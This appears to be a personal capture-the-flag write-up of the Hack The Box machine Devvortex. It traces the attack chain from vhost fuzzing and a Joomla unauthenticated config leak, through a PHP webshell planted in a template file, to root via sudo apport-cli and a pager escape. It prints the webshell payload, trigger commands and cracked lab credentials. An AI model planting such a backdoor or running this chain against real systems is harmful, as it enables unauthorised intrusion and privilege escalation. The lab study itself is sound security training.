Devvortex — Attack Chain¶
Target: 10.129.229.146
Current Path¶
nmap -p- (22, 80 only)
└── http://devvortex.htb — static site, nothing exploitable
└── vhost fuzz (ffuf -H 'Host: FUZZ.devvortex.htb' -fs 154)
└── dev.devvortex.htb [Joomla]
└── robots.txt → /administrator/ and /api/ disclosed
└── /administrator/manifests/files/joomla.xml → v4.2.6
└── unauth API config leak (Joomla 4.0.0–4.2.7)
└── creds: lewis : P4ntherg0t1n5r3c0n##
└── Joomla admin panel login ✅
└── Cassiopeia error.php template backdoor
└── RCE as www-data ✅
└── nginx conf → webroot → configuration.php
└── MySQL as lewis (127.0.0.1:3306)
└── joomla.sd4fg_users
└── logan bcrypt hash
└── hashcat -m 3200 → tequieromucho
└── SSH as logan → user.txt ✅
└── sudo apport-cli (CVE-2023-1326)
└── less pager → !/bin/bash
└── ROOT ✅
Flags: User ✅ | Root ✅ — box complete
Branch Points¶
1. Apex domain vs. vhost¶
devvortex.htb directory fuzzing returned nothing useful. Pivoted to vhost
enumeration instead of digging deeper into content discovery.
Why: with only ports 22 and 80 open, the web surface has to be the way in.
When the visible site is a dead end, the next question is "is this the only site?"
2. Filtering on size, not status code¶
Every vhost returned 302 / Size: 154 (nginx catch-all for an unknown Host header).
-fc 302 was wrong — filtered too much. -fs 154 filtered on the actual noise
signature and surfaced dev.
Lesson: when status codes are uniform, filter on response size.
3. Version identification before exploit hunting¶
Pulled the exact version from administrator/manifests/files/joomla.xml rather
than guessing from behaviour. Narrowed the CVE window to a single release.
4. index.php vs error.php for the template backdoor¶
index.php is not writable on this box — the save fails.
error.php is writable, and is the better target regardless: it renders only
on 404s, so the live site isn't broken and the trigger is any bogus URL.
Lesson: writability is per-file. Try each file, don't fixate on the obvious one.
5. Webshell before reverse shell¶
Gated payload (if(isset($_GET['theo']))) rather than a bare system() call.
Keeps the error page rendering normally for anyone else and avoids PHP warnings
on every 404. Verified RCE with id before escalating to an interactive shell.
Foothold Detail¶
File modified: /templates/cassiopeia/error.php (via Joomla admin template editor)
Payload (line 1):
<?php if(isset($_GET['theo'])) { system($_GET['theo']); exit; } ?>
Trigger:
curl -s 'http://dev.devvortex.htb/yourmom?theo=id'
Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Why this works: Joomla renders templates as PHP. The admin panel ships a template file editor by design. Admin access on a PHP CMS is therefore equivalent to code execution — this is a feature, not a CVE. The actual vulnerability was the unauthenticated API leak that produced the admin password.
6. Cracking only one of two hashes¶
Both lewis and logan hashes recovered, but lewis's cleartext was already
known — cracking it buys nothing. bcrypt cost 10 is deliberately expensive.
Lesson: before cracking, ask what it buys you that you don't already have.
Gotchas Hit (worth remembering)¶
| Symptom | Real cause |
|---|---|
| Blank page from webshell | Trailing ' copied from a shell-quoted curl URL into the browser. PHP did fire — exit; suppressed the 404 page. Blank ≠ 404 page |
ERROR 1044 ... to database '<password>' |
mysql -u user -p <pw> — space after -p makes the next token the DB name. Auth had succeeded |
ERROR 1045 ... (using password: NO) |
-p omitted entirely — no password sent |
| Hash corrupted on write | echo "$2y$10$..." in double quotes — bash expands $2/$1/$0 to empty. Use single quotes |
Common thread: three parsing layers (bash → URL/protocol → remote interpreter). When something behaves oddly, work out which layer ate the input.
7. GTFOBins "Inherit" read as a dead end¶
apport-cli has no Sudo section on GTFOBins — only Inherit, from less.
Initially read as "nothing here." It is the opposite: the binary has no escape
of its own, but it spawns a pager that does, and a child inherits its
parent's privileges. sudo apport-cli → less as root → !/bin/bash → root.
The "Unprivileged" tag describes the trigger, not the outcome.
8. Rehearsed the exploit unprivileged first¶
Ran apport-cli without sudo to learn the menu flow, confirmed with id that
it granted nothing, then fired under sudo. Correct practice for one-shot
interactive primitives.
Completed¶
- Upgrade webshell → interactive shell
- Enumerate as
www-data: users, sudo, listening services - Harvest credentials from Joomla on disk → MySQL → users table
- Crack
loganbcrypt (hashcat -m 3200, rockyou) →tequieromucho - SSH as
logan→user.txt -
sudo -l→apport-cli→ pager escape →root.txt
Open Items¶
- Revert
error.phpbackdoor (engagement hygiene) - Evidence directory is empty — no command output or screenshots captured beyond the one Joomla version screenshot. Weak point of this run
Cleanup Note (post-box)¶
error.php still contains the backdoor. On a real engagement this must be
reverted and reported. Original file is recoverable from a stock Joomla 4.2.6
tarball if needed.